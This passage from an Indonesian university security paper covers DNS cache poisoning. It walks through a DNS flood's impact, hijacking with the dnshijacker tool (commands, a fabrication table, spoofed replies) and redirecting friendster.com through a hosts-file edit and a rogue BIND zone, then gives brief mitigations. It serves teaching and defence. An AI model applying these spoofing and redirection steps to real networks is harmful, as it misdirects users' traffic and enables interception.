0x0000 4500 006d 061d 0000 4011 845c 5f0a 0f98 E..m....@..\_...

0x0010 8001 0164 0035 0035 0059 3fbf 8b73 0100 ...d.5.5.Y?..s..

0x0020 0001 0000 0000 0000 3b63 6b6c 7266 6969 ........;cklrfii

0x0030 7363 6d61 7362 scmasb

Untuk menilai dampak dari serangan ini penyerang dari mesin lain pertama kali

membersihkan cache lokalnya dan meng-query server nama target. Membersihkan

cache lokal akan memastikan resolver mendapatkan informasi dari server dan bukan

lokal.

D:\>ipconfig /flushdns

Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

D:\>nslookup

DNS request timed out.

timeout was 2 seconds.

*** Can't find server name for address 128.1.1.100: Timed out

*** Default servers are not available

Default Server: UnKnown

Address: 128.1.1.100

> ms2.sa.com

Server: UnKnown

Address: 128.1.1.100

DNS request timed out.

timeout was 2 seconds.

DNS request timed out.

timeout was 2 seconds.

*** Request to UnKnown timed-out

> ms3.sa.com

Server: UnKnown

Address: 128.1.1.100

DNS request timed out.

timeout was 2 seconds.

Name: ms3.sa.com

Address: 128.1.47.1

> exit

Penyerang kemudian menghentikan serangan dan sekali lagi dari mesin yang lain

meng-query server nama target setelah membersihkan cache.

D:\>ipconfig /flushdns

Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

D:\>nslookup

Default Server: ns1.sa.com

Address: 128.1.1.100

> ms2.rhs.net

Server: ns1.sa.com

Address: 128.1.1.100

Name: ms2.sa.com

Address: 128.1.23.8

> exit

Perbedaan terlihat antara query yang didapatkan selama proses serangan dan setelah

serangan dihentikan. Hal ini membuktikan dampak serangan terhadap performa

server. Jika serangan dilakukan dari beberapa mesin, maka dampak yang dihasilkan

akan lebih besar.

DNS Man in the Middle Attacks – DNS Hijacking

Jika seorang penyerang dapat meletakkan dirinya diantara klien dan server DNS,

maka dia dapat mengambil balasan query resolusi nama ke klien dan mengirimkan

informasi alamat pemetaan yang palsu ke alamat yang salah. Tipe serangan ini

bergantung dari kondisi siapa yang lebih cepat. Jika penyerang ingin serangannya

berhasil, maka pernyerang harus membalas ke klien sebelum server yang

sesungguhnya. Penyerang dapat memperlambat server DNS primer dari klien dengan

menggunakan serangan denial of service. Diagram serangan dapat digambarkan

dibawah ini :

Gambar 4.1 Serangan DNS Man in the Middle (diambil berdasarkan Attacking the

DNS Protocol – Security Paper v2, ESA Certification, Sainstitute.org)

Diagram diatas menggambarkan:

1. Penyerang meletakkan dirinya diantara klien dan server nama.

2. Klien membuat permintaan DNS untuk resolusi www.microsoft.com.

3. Permintaan ini dicuri oleh penyerang yang membalas dengan informasi palsu.

4. Server DNS membalas dengan informasi yang benar.

Kondisi diatas merupakan kondisi “balapan”, klien akan menerima paket dari

pemenangnya.

Untuk mengeksekusi serangan ini, dapat digunakan skrip DNS Hijacker4 (dapat

dilihat di http://www.sainstitute.org/articles/tools/DNS Hijacker ) dan dijalankan pada

mesin penyerang. DNS Hijacker menggunakan tabel fabrikasi untuk menyimpan

informasi yang palsu untuk pengembalian kepada klien. Tabel dibawah ini

menunjukkan hostname ms2.sa.com yang dibentuk untuk membalas dengan alamat

10.10.10.10. Alamat sebenarnya dari ms2.sa.com seperti yang terdapat pada

administrator DNS adalah 128.1.23.8.

[root@fanta dnshijacker]# more ftable

10.10.10.10 ms2.sa.com

Selanjutnya penyerang memulai program DNS Hijacker seperti dibawah ini :

[root@fanta dnshijacker]# dnshijacker -f ftable udp src or dst port 53

[dns hijacker v1.2 ]

sniffing on: eth0

using filter: udp dst port 53 and udp src or dst port 53

fabrication table: ftable

dns activity: 128.1.4.232:1027 > 128.1.1.100:53 [ms2.sa.com = ?]

spoofing answer: 128.1.1.100:53 > 128.1.4.232:1027 [ms2.sa.com =

10.10.10.10]

Permintaan pertama untuk resolusi dari ms2.sa.com dan jawaban yang palsu

dikembalikan oleh penyerang yaitu 10.10.10.10. Dibawah ini merupakan informasi

yang diterima dari sisi klien:

[root@fanta init.d]# nslookup

Default Server: [128.1.1.100]

Address: 128.1.1.100

> ms2.sa.com

Server: [128.1.1.100]

Address: 128.1.1.100

Name: ms2.sa.com

Address: 10.10.10.10

Informasi yang tidak benar dikembalikan ke klien dan diterima. DNS hijacker

mempunyai pilihan a-d dengan semua permintaan DNS diintersep/dicuri dan dibalas

dengan informasi yang tidak benar.

SERANGAN SERVER DNS

Pada bagian ini, akan ditunjukkan implementasi serangn server DNS dengan cara

pribadi yaitu serangan ke DNS lokal yang hanya mempengaruhi alamat IP sendiri saja

dan juga serangan ke server DNS yang mempengaruhi semua klien yang

menggunakan server tersebut.

Melalui DNS Lokal

Cache poisoning dapat dilakukan dengan melakukan perubahan pada DNS komputer

lokal. Dengan perubahan tersebut maka serangan hanya terjadi pada alamat IP lokal

klien tersebut (alamat IP yang digunakan adalah 167.205.66.11 dengan nama LSKK-

11) dan tidak mengenai klien-klien lain. Pada implementasi ini, yang akan dilakukan

adalah merubah pemetaan alamat IP dari www.friendster.com ke alamat IP

167.205.65.5. Alamat IP www.friendster.com yang sebenarnya adalah

209.11.168.242. Langkah-langkahnya adalah :

1. Mengedit file pada C:\WINDOWS\system32\drivers\etc\hosts dengan

menambahkan 167.205.65.5 www.friendster.com.

2. Pada konfigurasi LAN setting di internet explorer, ditambahkan

*.friendster.com.

Dengan melakukan kedua langkah tersebut maka www.friendster.com tidak akan

dilewatkan ke proxy. Maka hasil yang didapatkan adalah :

Gambar 4.2 Tampilan dari 167.205.65.5

Melalui Server DNS

Pada implementasi serangan ini, serangan akan ditujukan pada server DNS. Dampak

dari serangan ini adalah klien-klien yang berada dalam domain server tersebut akan

terserang. Dalam implementasi ini akan dicoba mengalihkan www.friendster.com ke

alamat IP 167.205.65.10. Langkah-langkahnya adalah dengan membuat zona baru:

1. konfigurasi named.conf

zone "friendster.com" {

type master;

file "db.friendster";

};

2. konfigurasi db.friendster

$TTL 30d

@ IN SOA ns.friendster.com. me.frenster.com. (

2004030304 ; serial

1d ; refresh

1h ; retry

30d ; expire

1d ) ; minimum

IN NS ns.friendster.com.

$ORIGIN friendster.com.

www IN A 167.205.65.10

Hasil apabila di query adalah :

^_^ nslookup

Default Server: ns.friendster.com

Address: 167.205.66.11

> ls -d friendster.com

[ns.friendster.com]

$ORIGIN friendster.com.

@ 4w2d IN SOA ns.friendster.com. me.frenster.com. (

2004030304 ; serial

1D ; refresh

1H ; retry

4w2d ; expiry

1D ) ; minimum

4w2d IN NS ns.friendster.com.

www 4w2d IN A 167.205.65.10

@ 4w2d IN SOA ns.friendster.com. me.frenster.com. (

2004030304 ; serial

1D ; refresh

1H ; retry

4w2d ; expiry

1D ) ; minimum

Terlihat bahwa www.friendster.com teralihkan tampilannya ke alamat IP

167.205.65.10, berarti serangan berhasil.

KEAMANAN DNS DARI SERANGAN CACHE

POISONING

Pada umumnya cache poisoning dapat dengan mudah dihadapi. Semua program DNS

mempunyai pilihan untuk mematikan atau menonaktifkan proses caching. Jika proses

caching tidak diaktifkan, menipu balasan kepada sebuah server adalah sia-sia.

Program yang paling terbaru telah mempunyai patch untuk melawan poisoning. Saat

ini, paket-paket yang diterima dengan cacatan authoritative / berkuasa diverifikasi

dahulu sebelum memasukannya ke dalam cache.

Mekanisme dan Implementasi Cache Poisoning Pada DNS Server Sandi Wijaya

EC5010 Keamanan Sistem Informasi ITB

Security

Jika anda memasang DNS server pada komputer yang berfungsi sebagai gateway antara jaringan internal anda dengan jaringan Internet serta DNS Server anda tidak melayani request dari luar (caching only DNS atau DNS untuk jaringan lokal saja) maka anda bisa membuat named untuk melayani hanya jaringan lokal saja dengan menambah baris berikut di dalam blok options:

listen-on { 127.0.0.1; 192.168.1.100; };

Sehingga named hanya membuka port pada interface loopback (127.0.0.1) dan eth0 (192.168.1.100)

REFERENSI

  1. http://www.ilmukomputer.com/umum/diding-dns.php
  2. http://www.sainstitute.org/articles/tools/Dns1.pl
  3. http://www.sainstitute.org/articles/tools/Hds0.pl
  4. http://www.sainstitute.org/articles/tools/Dnsflood.pl